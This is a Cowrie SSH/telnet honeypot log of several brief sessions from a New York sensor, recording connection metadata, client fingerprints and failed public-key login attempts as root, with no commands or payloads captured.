{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:aa:9b:72:32:05:26:db:9a:6f:b2:ec:ad:49:0f:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA24oNyek5ol/IocIM0YGr3kvZRsSbNQCVL/7Zaw9Oi7dURMh2PcdooEruyb4xknOVehrtcB6PIsTL7ZG0jgCGSrwEMh4YpOkUm/wyYMhU5yqQGwomliYLTZbqtNHNSqE9ug6vdo5foNbXh43hWGYbd/mRbtXB0BHDLdVF5smQPv5l0Ln7c1QAni3emEH3sbW0FUc2ekCMfPmnbVU3m8xXvzinYwtd5LIg+q3pevi32ROnsJO5ythY0hfjsGNlZkaBULoF/VwmQbVZuSch8l6xIXBec8Sm4QNIzHFNYXtkGsbJUtsgV5UMHB30C1Z9rOYb8colz55tBnv+UP/CTCnrhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:aa:9b:72:32:05:26:db:9a:6f:b2:ec:ad:49:0f:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.455823Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:aa:9b:72:32:05:26:db:9a:6f:b2:ec:ad:49:0f:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA24oNyek5ol/IocIM0YGr3kvZRsSbNQCVL/7Zaw9Oi7dURMh2PcdooEruyb4xknOVehrtcB6PIsTL7ZG0jgCGSrwEMh4YpOkUm/wyYMhU5yqQGwomliYLTZbqtNHNSqE9ug6vdo5foNbXh43hWGYbd/mRbtXB0BHDLdVF5smQPv5l0Ln7c1QAni3emEH3sbW0FUc2ekCMfPmnbVU3m8xXvzinYwtd5LIg+q3pevi32ROnsJO5ythY0hfjsGNlZkaBULoF/VwmQbVZuSch8l6xIXBec8Sm4QNIzHFNYXtkGsbJUtsgV5UMHB30C1Z9rOYb8colz55tBnv+UP/CTCnrhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.460119Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ba:1e:57:6b:7d:ab:98:bd:af:42:e8:d1:ad:1e:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1GCpmeLuT417SdVrCh9NviO/hULu7PNpom6evuslStbwBUBnPbwg2Q6v77F4GF2+WPn/pnqcUT/KVaNo7gh9a2o8sG7/68QmNMAwM5zrsDsk1op7keJkg0jta3ffhLXv2W8lgVJXB0eOeqs/tfQhQJ4o3YFbVDhihMJ2e+LorZGXHPZuMcCEDB8roSrwE7c3C9eCq/ZHez38tpE+piPgzwzTHZuGtIHkJyT7oAwjQx67CZzaPyX3/cNdqy6SqkDHtvHAmj1AhEwWL7QDNd5IAFhSC6z9cBTcm0g3Pw7ITqEf4qKS3Z4vQHN1EIMDr+WzR5aOzJPRLnOSnMnCOr/lr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ba:1e:57:6b:7d:ab:98:bd:af:42:e8:d1:ad:1e:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.553531Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ba:1e:57:6b:7d:ab:98:bd:af:42:e8:d1:ad:1e:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1GCpmeLuT417SdVrCh9NviO/hULu7PNpom6evuslStbwBUBnPbwg2Q6v77F4GF2+WPn/pnqcUT/KVaNo7gh9a2o8sG7/68QmNMAwM5zrsDsk1op7keJkg0jta3ffhLXv2W8lgVJXB0eOeqs/tfQhQJ4o3YFbVDhihMJ2e+LorZGXHPZuMcCEDB8roSrwE7c3C9eCq/ZHez38tpE+piPgzwzTHZuGtIHkJyT7oAwjQx67CZzaPyX3/cNdqy6SqkDHtvHAmj1AhEwWL7QDNd5IAFhSC6z9cBTcm0g3Pw7ITqEf4qKS3Z4vQHN1EIMDr+WzR5aOzJPRLnOSnMnCOr/lr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.558688Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:c8:4e:19:db:de:e9:d7:14:48:ce:c6:0c:35:52:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNPGz58mEAW3lCfGLodpJ8TISInjjkCmOIkxjFrkQHjqQruYVZmarNVXxANebytmDvUXAE+rDjhlRiSrB1WuH42xHstzGlKzDkyIthV+VWexecP7bfOYaCDIBssgzkSnn+n/xhVNID08xXg00byZLRN8p3AiZ2M8ptvc/ESyav6ZNL0sKKtIuyamowy3ESK5BEUaOdzXL+gmK/7H3qWgJgW6eTWXhqMxaQL7fPnvk2O79T6vaE3YECh1IST2o4bwXQ1Tmn7ac5SpKgc/QtAQnQ2/zxz647wjMQovoZKi4apbOIfubCWtjxdIHyQtb+TNkVhWKMJ/rgaBp6S/SnvI4t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:c8:4e:19:db:de:e9:d7:14:48:ce:c6:0c:35:52:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.649756Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:c8:4e:19:db:de:e9:d7:14:48:ce:c6:0c:35:52:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNPGz58mEAW3lCfGLodpJ8TISInjjkCmOIkxjFrkQHjqQruYVZmarNVXxANebytmDvUXAE+rDjhlRiSrB1WuH42xHstzGlKzDkyIthV+VWexecP7bfOYaCDIBssgzkSnn+n/xhVNID08xXg00byZLRN8p3AiZ2M8ptvc/ESyav6ZNL0sKKtIuyamowy3ESK5BEUaOdzXL+gmK/7H3qWgJgW6eTWXhqMxaQL7fPnvk2O79T6vaE3YECh1IST2o4bwXQ1Tmn7ac5SpKgc/QtAQnQ2/zxz647wjMQovoZKi4apbOIfubCWtjxdIHyQtb+TNkVhWKMJ/rgaBp6S/SnvI4t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.653638Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:03.746521Z","src_ip":"78.111.67.247","session":"94cc7d4a6176","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.24.136.193","src_port":52128,"dst_ip":"159.203.135.109","dst_port":23,"session":"7565c8a5d0ed","protocol":"telnet","message":"New connection: 192.24.136.193:52128 (159.203.135.109:23) [session: 7565c8a5d0ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:06.772934Z"}
{"eventid":"cowrie.session.closed","duration":31.35249423980713,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:09.846640Z","src_ip":"45.148.121.166","session":"9a721922b69b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"148.153.121.223","src_port":50798,"dst_ip":"10.17.0.5","dst_port":22,"session":"fff803967773","protocol":"ssh","message":"New connection: 148.153.121.223:50798 (10.17.0.5:22) [session: fff803967773]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:13.727682Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:13.732651Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:13.774989Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"9c:d7:f2:3c:f5:b2:f6:f5:88:7b:63:66:71:71:34:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2Qrl/XKShiHqM0V5ztmqusY3jzxgw4B65K5eLVee5HfZbtzOyuv+iWiJI4X5lGJuvPbV+gWSqOvo0+T2wEUcWLD0IkMTcWiMTyY/dDb/kxrpwIDvqwuZ0EZKY/VJrgfD6TVur8cwINMSlgZd0zkumjPRKlDTpMEWPoxwFBX2T1mYsmuq2mL/Vsery/tK0UsANzyWeWi51Q9ro2C16f7i9j/RwC3B97motFSw4rgS9BoDO93hMjHVQ+6UweL19zxGbHZmS5j+4uBo8OR/IVtNs7ngy1eUAztxXbnv8ld7BKxbfKJ/9Ag4SMzJekqw23+krtak0Nrbi2fqpBzH32Cmf","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 9c:d7:f2:3c:f5:b2:f6:f5:88:7b:63:66:71:71:34:f1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:13.963978Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"9c:d7:f2:3c:f5:b2:f6:f5:88:7b:63:66:71:71:34:f1","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2Qrl/XKShiHqM0V5ztmqusY3jzxgw4B65K5eLVee5HfZbtzOyuv+iWiJI4X5lGJuvPbV+gWSqOvo0+T2wEUcWLD0IkMTcWiMTyY/dDb/kxrpwIDvqwuZ0EZKY/VJrgfD6TVur8cwINMSlgZd0zkumjPRKlDTpMEWPoxwFBX2T1mYsmuq2mL/Vsery/tK0UsANzyWeWi51Q9ro2C16f7i9j/RwC3B97motFSw4rgS9BoDO93hMjHVQ+6UweL19zxGbHZmS5j+4uBo8OR/IVtNs7ngy1eUAztxXbnv8ld7BKxbfKJ/9Ag4SMzJekqw23+krtak0Nrbi2fqpBzH32Cmf","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:13.967702Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5b:3c:6d:3c:a8:81:30:fa:4f:04:0a:a6:33:e2:e3:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEQZhc7e+SVru8yYYj2eXPU+pBVv7lC7GO3i4a/SE+MOnMBerMrgbyPDapDDtfB38SQcV47DATSz5J8s4Hgpbw6fYK2VhKZTkpoL1wjpIXlAZ3ojGpmIbDGWESQ6b4wqPTavU8yOvv+kqNOcEUQLw552jiZWkaLWsKCpX+rgJQCW92Vrp6MPT7jkC4VCsXe23B1aaAuL2MHMKmoGJSLFh3plgNYsjOMfByrTHKKxJHW3KEGxzg36kU+Kk6LsoecP4lIcqEyo6brvoZ6cEEsLI+Ta2yyUxKhnKOZTRR0ahTdQpxXS3dVkXsohMQQqDk7QNUhegnf6x57N3f4gzwd2VJ","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5b:3c:6d:3c:a8:81:30:fa:4f:04:0a:a6:33:e2:e3:dd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.010491Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5b:3c:6d:3c:a8:81:30:fa:4f:04:0a:a6:33:e2:e3:dd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDEQZhc7e+SVru8yYYj2eXPU+pBVv7lC7GO3i4a/SE+MOnMBerMrgbyPDapDDtfB38SQcV47DATSz5J8s4Hgpbw6fYK2VhKZTkpoL1wjpIXlAZ3ojGpmIbDGWESQ6b4wqPTavU8yOvv+kqNOcEUQLw552jiZWkaLWsKCpX+rgJQCW92Vrp6MPT7jkC4VCsXe23B1aaAuL2MHMKmoGJSLFh3plgNYsjOMfByrTHKKxJHW3KEGxzg36kU+Kk6LsoecP4lIcqEyo6brvoZ6cEEsLI+Ta2yyUxKhnKOZTRR0ahTdQpxXS3dVkXsohMQQqDk7QNUhegnf6x57N3f4gzwd2VJ","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.014486Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"39:aa:9b:72:32:05:26:db:9a:6f:b2:ec:ad:49:0f:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA24oNyek5ol/IocIM0YGr3kvZRsSbNQCVL/7Zaw9Oi7dURMh2PcdooEruyb4xknOVehrtcB6PIsTL7ZG0jgCGSrwEMh4YpOkUm/wyYMhU5yqQGwomliYLTZbqtNHNSqE9ug6vdo5foNbXh43hWGYbd/mRbtXB0BHDLdVF5smQPv5l0Ln7c1QAni3emEH3sbW0FUc2ekCMfPmnbVU3m8xXvzinYwtd5LIg+q3pevi32ROnsJO5ythY0hfjsGNlZkaBULoF/VwmQbVZuSch8l6xIXBec8Sm4QNIzHFNYXtkGsbJUtsgV5UMHB30C1Z9rOYb8colz55tBnv+UP/CTCnrhQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 39:aa:9b:72:32:05:26:db:9a:6f:b2:ec:ad:49:0f:85","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.056763Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"39:aa:9b:72:32:05:26:db:9a:6f:b2:ec:ad:49:0f:85","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA24oNyek5ol/IocIM0YGr3kvZRsSbNQCVL/7Zaw9Oi7dURMh2PcdooEruyb4xknOVehrtcB6PIsTL7ZG0jgCGSrwEMh4YpOkUm/wyYMhU5yqQGwomliYLTZbqtNHNSqE9ug6vdo5foNbXh43hWGYbd/mRbtXB0BHDLdVF5smQPv5l0Ln7c1QAni3emEH3sbW0FUc2ekCMfPmnbVU3m8xXvzinYwtd5LIg+q3pevi32ROnsJO5ythY0hfjsGNlZkaBULoF/VwmQbVZuSch8l6xIXBec8Sm4QNIzHFNYXtkGsbJUtsgV5UMHB30C1Z9rOYb8colz55tBnv+UP/CTCnrhQ==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.060601Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"5d:ba:1e:57:6b:7d:ab:98:bd:af:42:e8:d1:ad:1e:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1GCpmeLuT417SdVrCh9NviO/hULu7PNpom6evuslStbwBUBnPbwg2Q6v77F4GF2+WPn/pnqcUT/KVaNo7gh9a2o8sG7/68QmNMAwM5zrsDsk1op7keJkg0jta3ffhLXv2W8lgVJXB0eOeqs/tfQhQJ4o3YFbVDhihMJ2e+LorZGXHPZuMcCEDB8roSrwE7c3C9eCq/ZHez38tpE+piPgzwzTHZuGtIHkJyT7oAwjQx67CZzaPyX3/cNdqy6SqkDHtvHAmj1AhEwWL7QDNd5IAFhSC6z9cBTcm0g3Pw7ITqEf4qKS3Z4vQHN1EIMDr+WzR5aOzJPRLnOSnMnCOr/lr","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 5d:ba:1e:57:6b:7d:ab:98:bd:af:42:e8:d1:ad:1e:dc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.103609Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"5d:ba:1e:57:6b:7d:ab:98:bd:af:42:e8:d1:ad:1e:dc","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQD1GCpmeLuT417SdVrCh9NviO/hULu7PNpom6evuslStbwBUBnPbwg2Q6v77F4GF2+WPn/pnqcUT/KVaNo7gh9a2o8sG7/68QmNMAwM5zrsDsk1op7keJkg0jta3ffhLXv2W8lgVJXB0eOeqs/tfQhQJ4o3YFbVDhihMJ2e+LorZGXHPZuMcCEDB8roSrwE7c3C9eCq/ZHez38tpE+piPgzwzTHZuGtIHkJyT7oAwjQx67CZzaPyX3/cNdqy6SqkDHtvHAmj1AhEwWL7QDNd5IAFhSC6z9cBTcm0g3Pw7ITqEf4qKS3Z4vQHN1EIMDr+WzR5aOzJPRLnOSnMnCOr/lr","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.107294Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7b:c8:4e:19:db:de:e9:d7:14:48:ce:c6:0c:35:52:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNPGz58mEAW3lCfGLodpJ8TISInjjkCmOIkxjFrkQHjqQruYVZmarNVXxANebytmDvUXAE+rDjhlRiSrB1WuH42xHstzGlKzDkyIthV+VWexecP7bfOYaCDIBssgzkSnn+n/xhVNID08xXg00byZLRN8p3AiZ2M8ptvc/ESyav6ZNL0sKKtIuyamowy3ESK5BEUaOdzXL+gmK/7H3qWgJgW6eTWXhqMxaQL7fPnvk2O79T6vaE3YECh1IST2o4bwXQ1Tmn7ac5SpKgc/QtAQnQ2/zxz647wjMQovoZKi4apbOIfubCWtjxdIHyQtb+TNkVhWKMJ/rgaBp6S/SnvI4t","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7b:c8:4e:19:db:de:e9:d7:14:48:ce:c6:0c:35:52:91","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.155586Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7b:c8:4e:19:db:de:e9:d7:14:48:ce:c6:0c:35:52:91","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNPGz58mEAW3lCfGLodpJ8TISInjjkCmOIkxjFrkQHjqQruYVZmarNVXxANebytmDvUXAE+rDjhlRiSrB1WuH42xHstzGlKzDkyIthV+VWexecP7bfOYaCDIBssgzkSnn+n/xhVNID08xXg00byZLRN8p3AiZ2M8ptvc/ESyav6ZNL0sKKtIuyamowy3ESK5BEUaOdzXL+gmK/7H3qWgJgW6eTWXhqMxaQL7fPnvk2O79T6vaE3YECh1IST2o4bwXQ1Tmn7ac5SpKgc/QtAQnQ2/zxz647wjMQovoZKi4apbOIfubCWtjxdIHyQtb+TNkVhWKMJ/rgaBp6S/SnvI4t","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.159220Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:14.202009Z","src_ip":"148.153.121.223","session":"fff803967773","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.268311023712158,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:16.676083Z","src_ip":"45.148.121.166","session":"6421ee4693be","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":64712,"dst_ip":"159.203.135.109","dst_port":22,"session":"fb237085448f","protocol":"ssh","message":"New connection: 194.59.206.2:64712 (159.203.135.109:22) [session: fb237085448f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:17.443760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:17.448614Z","src_ip":"194.59.206.2","session":"fb237085448f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:17.545446Z","src_ip":"194.59.206.2","session":"fb237085448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.3","message":"Connection lost after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:17.698867Z","src_ip":"194.59.206.2","session":"fb237085448f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.199044942855835,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:19.580014Z","src_ip":"45.148.121.166","session":"9e4e30f7ed1f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":13.926779508590698,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:20.699607Z","src_ip":"192.24.136.193","session":"7565c8a5d0ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":41128,"dst_ip":"159.203.135.109","dst_port":23,"session":"a77a8049829c","protocol":"telnet","message":"New connection: 45.148.121.166:41128 (159.203.135.109:23) [session: a77a8049829c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:23.035565Z"}
{"eventid":"cowrie.session.closed","duration":120.00517654418945,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:27.643245Z","src_ip":"212.55.149.117","session":"4950ef1fabd6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.39289617538452,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:28.263826Z","src_ip":"128.199.8.54","session":"16754b46905d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":48194,"dst_ip":"159.203.135.109","dst_port":22,"session":"2fc2349d29a1","protocol":"ssh","message":"New connection: 2.57.122.208:48194 (159.203.135.109:22) [session: 2fc2349d29a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:22:36.662661Z"}
